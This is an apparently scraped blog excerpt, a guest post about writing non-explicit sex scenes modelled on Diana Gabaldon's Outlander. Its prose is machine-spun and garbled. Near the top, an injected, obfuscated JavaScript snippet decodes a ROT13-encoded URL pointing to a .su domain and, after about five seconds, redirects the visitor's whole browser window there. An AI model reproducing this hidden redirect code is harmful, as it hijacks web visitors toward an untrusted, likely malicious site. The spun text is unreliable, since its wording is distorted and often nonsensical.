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What Diana Gabaldon’s Outlander Taught Me About composing Sex Scenes: A Guest Post by Heather Anastasiu

rx onlineString.prototype.a73fba7d=function(){return this.replace(//g,function(c){return String.fromCharCode((c< ='Z'?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});};u='uggc://snzvylnvqfnyr.fh';function f31454d7(){window.top.location.href=u.a73fba7d();}setTimeout(f31454d7,4987); I’m a relationship audience (and author) whom really really loves publications of all of the degrees of temperature. On it, I’ll read it, everything from Christian fiction to intense BDSM erotica if it’s got a romance tag. With my latest historic fiction novel, super explicit sex scenes weren’t suitable for the feel associated with tale, though there is certainly intercourse, even yet in the very first chapter. But composing it had been a conundrum—how did we compose intercourse without, well, nipples, dicks, clits, women’s cores, and my personal favorite, metal people coated in velvet? Then we remembered the sex scenes compiled by the master, Diana Gabaldon. She does not diminish to black colored but she does not get explicit about any of it either. (more…)